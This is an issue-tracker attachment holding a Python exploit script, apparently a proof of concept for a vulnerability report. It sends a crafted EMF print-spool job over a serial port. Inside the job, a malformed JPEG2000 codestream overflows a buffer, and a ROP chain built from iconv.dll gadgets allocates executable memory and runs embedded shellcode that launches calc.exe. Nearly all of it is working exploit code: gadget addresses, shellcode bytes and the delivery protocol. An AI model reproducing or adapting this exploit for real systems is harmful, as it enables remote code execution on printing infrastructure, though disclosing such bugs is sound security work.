New issue
Advanced search Search tips

Issue 287 attachment: PINBALLWIZARD.py (13.2 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
from ctypes import *
from ctypes.wintypes import BYTE
from ctypes.wintypes import WORD
from ctypes.wintypes import DWORD
import sys
import struct
import binascii
import array
import zlib

class DCB(Structure):
_fields_=[
('DCBlength',DWORD),
('BaudRate',DWORD),
('fBinary',DWORD,1),
('fParity',DWORD,1),
('fOutxCtsFlow',DWORD,1),
('fOutxDsrFlow',DWORD,1),
('fDtrControl',DWORD,2),
('fDsrSensitivity',DWORD,1),
('fTXContinueOnXoff',DWORD,1),
('fOutX',DWORD,1),
('fInX',DWORD,1),
('fErrorChar',DWORD,1),
('fNull',DWORD,1),
('fRtsControl',DWORD,2),
('fAbortOnError',DWORD,1),
('fDummy2',DWORD,17),
('wReserved',WORD),
('XonLim',WORD),
('XoffLim',WORD),
('ByteSize',BYTE),
('Parity',BYTE),
('StopBits',BYTE),
('XonChar',c_char),
('XoffChar',c_char),
('ErrorChar',c_char),
('EofChar',c_char),
('EvtChar',c_char),
('wReserved1',WORD),
]

class COMMTIMEOUTS(Structure):
_fields_=[
('ReadIntervalTimeout',DWORD),
('ReadTotalTimeoutMultiplier',DWORD),
('ReadTotalTimeoutConstant',DWORD),
('WriteTotalTimeoutMultiplier',DWORD),
('WriteTotalTimeoutConstant',DWORD),
]

class TPVM:

SERIAL_PORT=b'\\\\.\\COM1'

def __init__(self):
self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
0xc0000000, #GENERIC_READ|GENERIC_WRITE
3, #FILE_SHARE_READ|FILE_SHARE_WRITE
None,
3, #OPEN_EXISTING
0,
None)
if (self.hPort&0xffffffff)==0xffffffff:
raise Exception('the serial port could not be opened (0x%08x)'%(GetLastError()))
if not windll.kernel32.SetupComm(self.hPort,
0x20000,
0x84d0):
raise WinError()
dcb=DCB()
dcb.DCBlength=0x1c
dcb.BaudRate=0x1C200
dcb.fBinary=1
dcb.fOutxCtsFlow=1
dcb.fDtrControl=2
dcb.fRtsControl=2
dcb.ByteSize=8
dcb.fAbortOnError=1
windll.kernel32.SetCommState(self.hPort,
byref(dcb))
commtimeouts=COMMTIMEOUTS()
commtimeouts.ReadIntervalTimeout=0
commtimeouts.ReadTotalTimeoutMultiplier=0
commtimeouts.ReadTotalTimeoutConstant=20000
commtimeouts.WriteTotalTimeoutMultiplier=0
commtimeouts.WriteTotalTimeoutConstant=20000
if not windll.kernel32.SetCommTimeouts(self.hPort,
byref(commtimeouts)):
raise WinError()

def __write_packet(self,buffer):
bytesWritten=DWORD(0)
if not windll.kernel32.WriteFile(self.hPort,
buffer,
len(buffer),
byref(bytesWritten),
None):
raise WinError()
print('%d bytes written'%(bytesWritten.value))

def __read_packet(self,n):
buffer=c_buffer(n)
bytesRead=DWORD(0)
if not windll.kernel32.ReadFile(self.hPort,
buffer,
n,
byref(bytesRead),
None):
raise WinError()
print('%d bytes read'%(bytesRead.value))
return buffer.raw

def __write(self,buffer):
while len(buffer)!=0:
n=min(len(buffer),0x7ffd)
self.__write_packet(struct.pack('<H',n)+buffer[:n])
buffer=buffer[n:]

def __read_1byte(self):
b=self.__read_packet(1)
if len(b)!=1:
return 1
return struct.unpack('<B',b)[0]

def do_command(self,cmd):
self.__write_packet(struct.pack('<H',cmd))
if cmd==0x8002:
return 0
return self.__read_1byte()

def do_data(self,d):
self.__write(d)
return self.__read_1byte()

def close(self):
windll.kernel32.CloseHandle(self.hPort)

def main(args):
#some constants
PRINTER_ID=1 #should probably be an argument really
SHELLCODE=binascii.a2b_hex('e8000000005b8db31b010000568db313010000566a0268884e0d00e8170000006a008d832301000050ff931b0100006a00ff931f0100005589e55156578b4d0c8b75108b7d14ff36ff7508e813000000890783c70483c604e2ec5f5e5989ec5dc210005589e55356575164ff3530000000588b400c8b480c8b118b41306a028b7d085750e85b00000085c0740489d1ebe78b4118508b583c01d88b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c56e82300000085c0740883c20483c302ebe35831d2668b13c1e20201d10301595f5e5b89ec5dc208005589e551535231c931db31d28b45088a1080ca6001d3d1e30345108a0884c9e0ee31c08b4d0c39cb7401405a5b5989ec5dc20c00ea6f0000945d0300000000000000000063616c632e65786500') #Didier Stevens' winexec/exitthread
WRITABLE=0x1010ff00 #end of the .idata section of iconv.dll
BASE=0x40000000 #where we want the virtualalloc

t=TPVM()
t.do_command(0x8001)
#header
t.do_data(struct.pack('<20sIIII',('%d'%(PRINTER_ID)).encode('utf-8'),2,0xd,0,0))
#jobheader
t.do_data(binascii.a2b_hex('2b000100140000000000000014001d000000000063727970746f61640050494e42414c4c57495a41524400'))

###############
#emf
emf=b''
#emr_header
emf+=struct.pack('<II',1,0x84)
emf+=struct.pack('<IIII',0xf1,0xf2,0x130b,0x1855) #bounds
emf+=struct.pack('<IIII',0,0,0x53fc,0x6cfc) #frame
emf+=b' EMF' #record signature
emf+=struct.pack('<I',0x10000) #version
emf+=struct.pack('<IIHH',0,0,0,0) #bytes,records,handles,reserved
emf+=struct.pack('<II',0xc,0x6c) #ndescription,offdescription
emf+=struct.pack('<I',0) #npalentries
emf+=struct.pack('<II',0x13ec,0x19c8) #device
emf+=struct.pack('<II',0xd7,0x117) #millimeters
emf+=struct.pack('<III',0,0,1) #cbpixelformat,offpixelformat,bopengl
emf+=struct.pack('<II',0x347d8,0x441d8) #micrometersx,micrometersy
emf+=('\0'*0xc).encode('utf-16le')
#overflowing buffer
o=b''
o+=struct.pack('<I',0x1001c94c) #mov eax,edx&retn
o+=struct.pack('<I',0x10110284) #target --.idata!_iob_func
o+=struct.pack('<I',0x1001c594) #value --pop ecx&pop ecx&retn
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1000cb5c) #dec eax&retn
o+=struct.pack('<I',0x10003d43) #add [eax+1],edi&mov esp,ebp&pop ebp&retn
o+=struct.pack('<I',0x10001116) #pop ebp&retn
o+=struct.pack('<I',WRITABLE-8)
o+=struct.pack('<I',0x1001c120) #mov eax,[ebp+8]&pop ebp&retn
o+=struct.pack('<I',0x41414141) #
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
o+=struct.pack('<I',0x1001c595) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1001c1fc) #mov eax,[eax]&mov [esp],eax&retn
o+=struct.pack('<I',0x42424242) #
o+=struct.pack('<I',0x1001c7d6) #pop edi&pop esi&retn
o+=struct.pack('<I',BASE)
o+=struct.pack('<I',0x10000)
o+=struct.pack('<I',0x3000) #MEM_COMMIT|MEM_RESERVE
o+=struct.pack('<I',0x40) #PAGE_READWRITE_EXECUTE
o+=struct.pack('<I',BASE+0x10) #edi
o+=struct.pack('<I',0x43434343) #esi --not used
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',BASE) #
o+=struct.pack('<I',0x8b24438b) #--1/3
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',BASE+4) #
o+=struct.pack('<I',0xa4f21470) #--2/3
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',BASE+8) #
o+=struct.pack('<I',0x01f3e9) #--3/3: mov eax,[ebx+0x24]&mov esi,[eax+0x14]&jmp +0x1f3
o+=struct.pack('<I',0x1000) #ecx
o+=struct.pack('<I',BASE) #
###print('len(o)=0x%08x'%(len(o))) #must be <0xc4
o+=b'A'*(0xc4-len(o))
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange --first controlled eip
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',WRITABLE) #target
o+=struct.pack('<I',0x000000f4) #value --esp offset
o+=struct.pack('<I',WRITABLE) #writable --edx
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',0x7fffffff) #
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',0x1001c1e0) #__alloca_probe
o+=struct.pack('<I',WRITABLE) #target
o+=struct.pack('<I',0x00078c48) #.idata!VirtualAlloc-@edi
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
while (len(o)-2)%6!=0: #padding to satisfy length requirements
o+=b'Z'
#jp2 contents --the code still parses the codestream if no valid header is present, so I skipped it
j=b''
j+=struct.pack('>H',0xff4f) #SOC marker
j+=struct.pack('>HH',0xff51,0x29) #SIZ marker
j+=struct.pack('>HIIIIIIII',0,1,9,0,0,1,9,0,0)
j+=struct.pack('>HBBB',1,7,1,1)
j+=struct.pack('>HH',0xff5c,3+len(o)) #QCD marker
j+=struct.pack('>B',2) #sqcd
for i in range(0,len(o),2): #switch the endianness of the words
j+=struct.pack('>H',(o[i+1]<<8)+o[i])
j+=struct.pack('>H',0xffd9) #EOC marker
j+=b'\x90'*(0x200-len(j)) #unprocessed data
j+=SHELLCODE
j+=b'\xcc'*(0x10000-len(j)) #has to be at least 10000h long to avoid a read AV
#custom 8000h record
r=b''
r+=b'A'*0x28
r+=struct.pack('<I',0x50)
r+=b'B'*0x1c
r+=struct.pack('<IIII',0x43434343,0x10,0x10,0x44444444)
r+=b'E'*0x18
r+=j
emf+=struct.pack('<II',0x8000,len(r)+8)+r #type,size
#emr_eof
emf+=struct.pack('<IIIII',0xe,0x14,0,0x10,0x14)
emf=emf[:0x30]+struct.pack('<IIH',len(emf),3,1)+emf[0x3a:]
#devmode
dm=binascii.a2b_hex('7000720069006e00740065007200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001040005dc0008040fff010001000100de0a66086400010007005802020001005802010001004c006500740074006500720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545045580f020000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010110141e000e1464000614f401060f00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005450504405000000')
dm=b'%%EMF'+struct.pack('<BI',2,len(dm)+5)+dm
#emf_spool
h=struct.pack('<II',0x10,0)+'Google\0'.encode('utf-16le')+struct.pack('<HII',0xdead,0xc,len(emf))
h=struct.pack('<II',0x10000,len(h))+h
#emri_metafile_ext
f=struct.pack('<IIII',0xd,8,len(emf)+8,0) #"offset is counted backward"
e=dm+h+emf+f
d=zlib.compress(e,9)
d=struct.pack('<II',len(d),len(e))+d
d=struct.pack('<H',0)+d
###############
t.do_data(d)
t.do_command(0x8002)
t.close()

if __name__=='__main__':
main(sys.argv)